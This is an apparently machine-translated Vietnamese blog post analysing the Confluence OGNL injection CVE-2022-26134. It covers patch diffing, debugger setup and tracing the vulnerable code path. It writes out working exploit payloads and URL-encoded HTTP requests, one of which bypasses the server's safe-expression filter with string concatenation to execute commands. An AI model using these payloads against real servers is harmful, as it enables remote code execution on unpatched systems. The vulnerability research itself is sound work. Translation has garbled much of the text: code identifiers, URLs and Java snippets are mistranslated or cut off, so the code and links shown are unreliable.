Tiêm html tải trọng

--- cách trình bày. tiêu đề bài đăng. Danh mục "Phân tích lỗ hổng hợp lưu Atlassian CVE-2022-26134". nhóm nghiên cứu. thẻ đúng. Nghiên cứu render_with_liquid. sai --- Tiếp tục với những bài viết nghiên cứu về 1day thì mình đã chọn CVE-2022-26134 để phân tích. Đây là 1 CVE về Confluence Server OGNL Injection dẫn đến khả năng thực thi mã từ xa. Dưới đây mình sẽ nói rõ về cách khác, thiết lập gỡ lỗi và lỗi truy cập này nó sẽ được thực hiện như thế nào. Đi nào. ## Bản vá Phân tích Confluence đã công khai lỗi truy cập tại đây [Reference_Links](https. // hợp lưu. người bản địa. com/doc/confluence-security-advisory-2022-06-02-1130377146. html). Ban đầu lúc mình theo dõi thì chưa có bản vá nào chính thức và chưa có cập nhật or cụ thể nào, chỉ có hướng dẫn là bộ lọc `${}` => Mình nghĩ tới liên quan đến `OGNL Injection` vì Confluence đã . Đến lúc công bố bản vá cụ thể và chi tiết thì mình đã quyết định tải bản mới nhất (bản vá) và bản lỗi về để khác. [LINK_TẢI XUỐNG](https. //www. người bản địa. com/software/confluence/download-archives). [](https. //tôi. imgur. com/iqntGu5. png) Một số điều cần làm để sửa lỗi này. . [](https. //tôi. imgur. com/AJ0jCO6. png) + Tải file `xwork-1. 0. 3-atlassian-10. jar` + Xóa `xwork-1. 0. 3-atlassian-8. jar` which server are used. + Replace file vừa xóa bằng file vừa tải về. => Do đó có thể những điều mình cần chú ý và cần khác biệt nằm trong tệp `xwork-1. 0. 3-atlassian-10. jar` và `xwork-1. 0. 3-atlassian-8. jar` Lúc đầu mình tính sử dụng [winmerge](https. // hợp nhất. org/) to diff 2 bản này, nhưng người anh trong phòng [stk](https. //hackmd. io/@zsxnz) đã chỉ mình sử dụng 1 tính năng trong `Intellij`. Lệnh khác. ```. \idea64. exe diff "[Thư mục_Ver7. 18. 0]" "[Thư mục2_Ver7. 18. 1]" ```. [](https. //tôi. imgur. com/04m3pCM. png) Sau khi load xong thì tìm tới file `xwork-1. 0. 3-atlassian-10. lọ`. [](https. //tôi. imgur. com/ftU2Kvl. png) Do that can be found in the newest, file `xwork-1. 0. 3-atlassian-8. jar` đã bị xóa và thay thế bằng tệp `xwork-1. 0. 3-atlassian-10. lọ`. To diff 2 file này với nhau thì cần làm như dưới đây. . [](https. //tôi. imgur. com/gwzNyCc. png) + Bôi đen 2 tệp như trên + Sau đó chọn `So sánh các tệp mới với nhau` Sau khi tải xong thì thấy được 1 sự thay đổi nhỏ ở 2 tệp này. [](https. //tôi. imgur. com/nHw1jZD. png) + Trong hàm `execute` của class `ActionChainResult. class` xóa đoạn xử lý `Ognl` + Xóa luôn 2 lib đã nhập là `com. giao hưởng mở. xwork. sử dụng. OgnlValueStack` và `com. giao hưởng mở. xwork. sử dụng. TextParseUtil`. Bởi vậy giờ mình đã biết được điểm chốt nằm ở đâu và giờ cần đi setup và debug. ## Setup (Môi trường Windowns) Sau khi tải bản `7. 18. 0` (zip) thì mình đã sửa lại thêm 1 chút trong file `catalina. bat` để gỡ lỗi. ``` đặt CATALINA_OPTS=-agentlib. jdwp=transport=dt_socket,server=y,suspend=n,address=5005 ``` Để tạo database thì build 1 docker chạy `postgres`. Tập tin `docker-compose. yml` dưới đây. Ở đây mình chạy docker bằng máy ảo hoàn thành cổng chuyển tiếp ra nhé. phiên bản ```. '2' dịch vụ. db. hình ảnh. postgres. 12. 8 cảng núi cao. - 5432. 5432 môi trường. - POSTGRES_PASSWORD=postgres - POSTGRES_DB=confluence ``` Ở trong `Intelij` thì chỉ cần chọn `Remote JVM Debug` và giữ nguyên cấu hình nhé. Lệnh chạy hợp lưu. ```. \catalina. bat run ``` + Sau khi chạy thành công thì truy cập `http. //máy chủ cục bộ. 8090` and doing by the current step. + Setup database thì chỉ cần điền các thông tin sau ``` host. cổng cục bộ. 5432db. người dùng hợp lưu. vượt qua postgres. postgres ``` Giao diện của `Confluence` sau khi cài đặt thành công. . [](https. //tôi. imgur. com/Ee8nkws. png) ## Partition First set breakpoint at in function `execute`. [](https. //tôi. imgur. com/nT8FNPv. png) Truy cập vào đường dẫn ` /users/viewmyprofile. action` (ở đây mình chọn ở đây) thì thấy trigger bị breakpoint. Theo dõi xuống đoạn xử lý Ognl. [](https. //tôi. imgur. com/tqvwZ8V. png) + `namespace` là đoạn đường dẫn mình truyền vô nhưng chỉ lấy đến `/users` + Dòng 63 khởi tạo, gọi đến thư viện được nhập. + Dòng 64 đưa `namespace` đã tạo và `stack` vào hàm `translateVariables` trong file `TextParseUtil`. Do đó, f7 sẽ nhảy vào đây để xem hàm này sẽ xử lý như thế nào. . [](https. //tôi. imgur. com/3UcHQzd. png) + Gán `/users` cho `expression` và sau đó mang đi xử lí regex. + Dòng 17,18 check `expression` có nằm trong `${}` thì sẽ đưa các giá trị vô hàm đó vào `findValue` để check. + Cuối cùng nối thêm các giá trị vô chuỗi đó `sb`. + Hiện tại `expression` của mình đưa vào là `/users` không nằm trong `${}` nên sẽ không nhảy vào vòng lặp mà nhảy xuống đoạn bên dưới. [](https. //tôi. imgur. com/djwVMI6. png) Sau khi thoát khỏi hàm, sẽ tiếp tục mã vô đoạn này. [](https. //tôi. imgur. com/tswUoo6. png) + Tiếp tục kiểm tra `actionName` như `namespace` theo hàm ở trên + Theo mình thấy thì hiện tại `actionName` mình không thể kiểm soát. Do đó bây giờ hãy thử truyền `${7*7}` xem nó sẽ xử lý như thế nào. ``` NHẬN //%24%7B7%2A7%7D HTTP/1. 1 máy chủ. máy chủ cục bộ. Kết nối 8090. close ``` Khi yêu cầu như thế này thì có 1 điều kỳ lạ là chương trình không kích hoạt breakpoint đã đặt trong hàm `execute`. Mình quyết định quay về với request cấm đầu và tìm tại sao nó lại trigger breakpoint Chú ý về Stack Frames thì thấy vô hàm `execute` thì request đã đi qua `ServletDispatcher`. Giải thích chú thích về `ServletDispatcher` thì những yêu cầu nào cũng sẽ đi qua như mô tả hình dưới đây, có thể hiểu nôm na nó sẽ là 1 cái cổng chính trong nhà. . [](https. //tôi. imgur. com/iQXgA2d. png) Đây là 1 đoạn `Stack Frames` mà chương trình hoạt động tới khi dừng breakpoint. . [](https. //tôi. imgur. com/sQbbMYv. png) Chương trình sẽ gọi đến hàm `service` trong tệp `ServletDispatcher. lớp`. [](https. //tôi. imgur. com/EBfRyoh. png) + Đoạn mã này sẽ hoạt động được đưa ra các yêu cầu vô `getNameSpace`, `getActionName`, `getRequestMap`, `getParameterMap`, `getSessionMap` và `getApplicationMap` để xử lý lý do. + Trong các hàm trên thì thấy có 1 hàm quan trọng và dẫn đến sao khi mình try payload `/{7*7}` thì breakpoint sẽ không ngắt đó là hàm `getNamespaceFromServletPath` ```java public static String getNamespaceFromServletPath(String . chuỗi con(0, servletPath. lastIndexOf("/")); . To look known than, look into debug bên dưới đây. [](https. //tôi. imgur. com/vJ1Z5pg. png) + `servletPath` chính là `/users/viewmyprofile. action` mà mình truyền vào + Sau khi xử lý thì `servletPath` chỉ còn lại `/users`. [](https. //tôi. imgur. com/7j8Q4rm. png) Go to here known lí do at sao that at try `/%24%7B7%2A7%7D`, then will not trigger breakpoint because missing dấu `/` at end. Set breakpoint at line 84 thì thấy `expr` được biên dịch. [](https. //tôi. imgur. com/1CRCqM4. png) Sau khi biên dịch và thoát khỏi hàm `findValue` thì kết quả trả về là `49` => Đã tiêm thành công. . [](https. //tôi. imgur. com/j1KzGTP. png) Do đó bây giờ chỉ cần thay payload cho RCE. Dưới đây là payload mình sử dụng. ``` ${@java. lang thang. Thời gian chạy @ getRuntime (). exec("calc")} ``` Yêu cầu. ``` NHẬN /%24%7B%40java. lang thang. Thời gian chạy%40getRuntime%28%29. exec%28%22calc%22%29%7D/ HTTP/1. 1 máy chủ. máy chủ cục bộ. Kết nối 8090. close ``` Sau khi requets thì `calc` không chạy được, theo lý thuyết như trên thì đáng lẽ payload phải hoạt động. Vì vậy mình quyết định gỡ lỗi với tải trọng này xem có chuyện gì xảy ra, khiến tải trọng này không hoạt động, có vẻ như mình đã bỏ qua điều đó. . [](https. //tôi. imgur. com/PRlp3wZ. png) Chú ý kỹ lại thì thấy trước khi đi vào `tuân thủ` thì có đi qua một đoạn kiểm tra nữa ở hàm `isSafeExpression`. ```java public boolean isSafeExpression(Biểu thức chuỗi) { return this. isSafeExpressionInternal(biểu thức, HashSet mới()); . Hàm `isSafeExpressionInternal`. ```java private boolean isSafeExpressionInternal(Biểu thức chuỗi, SetvisitedExpressions) { if (. cái này. SAFE_EXPRESSIONS_CACHE. chứa (biểu thức)) { if (cái này. UNSAFE_EXPRESSIONS_CACHE. chứa (biểu thức)) { trả về false; . isUnSafeClass(biểu thức)) { cái này. UNSAFE_EXPRESSIONS_CACHE. thêm (biểu thức); . isName(cái này. trimQuotes(biểu thức)) && cái này. cho phépClassNames. chứa (cái này. trimQuotes(biểu thức))) { cái này. SAFE_EXPRESSIONS_CACHE. thêm (biểu thức); . biên dịch (biểu thức); . chứaUnsafeExpression((Node)parsedExpression,visitExpressions)) { cái này. UNSAFE_EXPRESSIONS_CACHE. thêm (biểu thức); . gỡ lỗi (Chuỗi. format("Đã tìm thấy mệnh đề không an toàn trong [\" %s \"]", biểu thức)); . SAFE_EXPRESSIONS_CACHE. thêm (biểu thức); . OgnlException var4) { cái này. SAFE_EXPRESSIONS_CACHE. thêm (biểu thức); . debug("Không thể xác minh tính an toàn của biểu thức OGNL", var4); . SAFE_EXPRESSIONS_CACHE. chứa (biểu thức); . biên dịch(biểu thức)` phân tích thành các nút AST rồi xong sẽ được đưa vào hàm `containsUnsafeExpression` để kiểm tra. + Nếu như có thể vượt qua chức năng kiểm tra này nữa thì payload sẽ hoạt động. Hàm `containsUnsafeExpression`. [](https. //tôi. imgur. com/s5pPYHc. png) + Các nút AST được phân tích cú pháp sẽ được duyệt qua từng nút rồi so sánh với điều kiện để xem có hợp lệ từng hay không. Những yếu tố được kiểm tra là. + node type + className + methodName + variable name Điều kiện để đạt được những điều này. + loại nút không nằm trong 3 loại. . [](https. //tôi. imgur. com/bHfVr09. png) + className phải thuộc 1 trong 9 lớp. . [](https. //tôi. imgur. com/YHf1Z0Z. png) + 2 method not used. . [](https. //tôi. imgur. com/iLbu0rr. png) + Một số biến không an toàn. . [](https. //tôi. imgur. com/JPrzaZp. png) + Trong hàm `containsUnsafeExpression` tại dòng 111 lớp kiểm tra không được nằm trong các lớp dưới đây thông qua hàm `isUnSafeClass`. . [](https. //tôi. imgur. com/OYPOQwc. png) Do đó bây giờ mình sẽ quay lại debug payload không hoạt động ở trên để xem payload bị fail ở bước nào. . [](https. //tôi. imgur. com/nGBgAwR. png) + khi duyệt qua nút đầu tiên thì className là `java. lang thang. Runtime` => không nằm trong className được phép, nên trả về `true` => payload mà mình nhập vào không an toàn. Khi thoát khỏi hàm `findValue` thì trả về null => payload này không thể hoạt động. . [](https. //tôi. imgur. com/cKweeM4. png) Vì vậy mình thử 1 payload khác với kỹ thuật gọi trực tiếp class `Class` và kết nối 2 chuỗi con lại với nhau để trở thành `java. lang thang. Runtime` để bỏ qua hàm `isUnSafeClass`. ## Khai thác tải trọng. ``` ${"" + Lớp. forName("java. " + " lang. thời gian chạy"). getMethod("getRuntime", null). gọi (null, null). exec("calc")}} ``` Yêu cầu ``` GET /%24%7b%22%22%20%2b%20Class. forName(%22java. %22%20%2b%20%22lang. Thời gian chạy%22). getMethod(%22getRuntime%22%2c%20null). gọi (null%2cnull). exec(%22calc%22)%7d%7d/ HTTP/1. 1 máy chủ. máy chủ cục bộ. Kết nối 8090. close ``` Trigger `calc` to public. [](https. //tôi. imgur. com/6V06rpS. png) Payload bên dưới đây có thể sử dụng cho phiên bản `7. 13. 6` vì trong hàm `findValue` không có hàm check `isSafeExpression`. ``` ${@java. lang thang. Thời gian chạy @ getRuntime (). exec("calc")} ```. info Những phiên bản nào mà trong hàm `findValue` không có hàm check `isSafeExpression` đều có thể sử dụng payload này nhé. . ## Tóm tắt chương trình - Trước khi `namespace` nhận đầu vào thì đi qua hàm `getNamespaceFromServletPath` trong tệp `ServletDispatcher. lớp`. Đầu vào phải có `/` ở cuối vì hàm này sẽ xử lý việc lấy đầu vào tới `/`. - Kiểm tra giá trị `không gian tên` nằm trong `${}` thì nhảy vào hàm `findValue` kèm theo giá trị đó. - Kiểm tra giá trị qua hàm `isSafeExpression` trong tệp `SafeExpressionUtil. class` and this function call to `isSafeExpressionInternal` để thực hiện kiểm tra đầu vào có an toàn hay không. - Đầu vào sẽ được phân tích cú pháp thành các nút AST thông qua hàm `OgnlUtil. biên dịch` - xung quanh các nút đó thông qua một số điều kiện như mình đã phân tích ở trên. - Cuối cùng if as start to an toàn thì sẽ trả về null, còn không thì trả về kết quả của OGNL thực thi. ## Tham khảo - https. // hợp lưu. người bản địa. com/doc/confluence-security-advisory-2022-06-02-1130377146. html-https. //www. nhanh chóng7. com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/ - https. //github. com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134 ## Lời kết Cảm ơn mọi người đã đọc về bài phân tích, hi vọng mọi người đóng góp ý kiến ​​để những bài phân tích sau của mình sẽ chất lượng hơn. Hiện tại mình đang tập tành phân tích nên có thể chưa được chuyên sâu và hay lắm, mình sẽ cố gắng có những bài blog hay hơn (◕︵◕)